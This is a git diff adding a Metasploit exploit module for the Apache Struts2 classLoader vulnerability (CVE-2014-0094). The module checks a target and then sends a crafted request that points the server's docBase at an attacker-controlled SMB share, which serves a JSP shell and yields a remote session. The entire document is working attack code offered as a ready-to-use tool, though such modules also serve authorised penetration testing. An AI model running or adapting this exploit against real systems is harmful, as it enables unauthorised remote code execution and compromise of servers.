diff --git a/modules/exploits/windows/http/struts_http_jspinject.rb b/modules/exploits/windows/http/struts_http_jspinject.rb new file mode 100644 index 000000000000..fb01bf01f4f7 --- /dev/null +++ b/modules/exploits/windows/http/struts_http_jspinject.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::SMB::Server::Share + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Struts JSP Injection over HTTP', + 'Description' => %q{ + This module exploits the classLoader Apache Struts2 + vulnerability to inject a JSP shell over SMB. + }, + 'Author' => [ + 'Matthew Hall ', + ], + 'DisclosureDate' => 'May 1 2014', + 'Platform' => 'win', + 'Privileged' => true, + 'References' => + [ + [ 'URL', 'http://www.sec-1.com/blog/'], + [ 'CVE', '2014-0094' ], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'DisablePayloadHandler' => 'false', + }, + 'Privileged' => true, + 'Arch' => ARCH_JAVA, + 'Platform' => [ 'win' ], + 'Targets' => + [ + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => ['win','linux'] + }, + ] + ], + 'DefaultTarget' => 0, + )) + register_options( + [ + OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-showcase/showcase.action', true ]), + OptString.new('FILE_NAME', [ true, 'A static JSP name (ie. "/example/HelloWorld.jsp")', 'showcase.jsp']), + Opt::RPORT(8080) + ], self.class) + deregister_options('FILE_CONTENTS') + end + + def check + uri = datastore['URI'] + '?Class.classLoader.resources.dirContext.cacheObjectMaxSize=x' + res = send_request_raw({'uri'=>uri}) + + if res and res.body =~ /No result defined for action/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Unknown + end + end + + def primer + self.file_contents = payload.encoded + print_status("File available on #{unc}...") + share = "#{unc}" + sploit = datastore['URI'] + share = share.gsub(/\\/, '/') + #sploit << '?class.classLoader.resources.dirContext.docBase=' + sploit << '?Class.classLoader.resources.dirContext.docBase=' + #sploit << '?Class.classLoader.resources.context.effectiveMajorVersion=' + #sploit << "?class['classLoader']['resources']['dirContext']['docBase']=" + sploit << share + print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}") + + res = send_request_raw({ + 'method' => 'GET', + 'uri' => sploit + }, 30) + + # Wait 30 seconds for session to be created + 1.upto(30) do + break if session_created? + sleep(1) + end + disconnect + end +end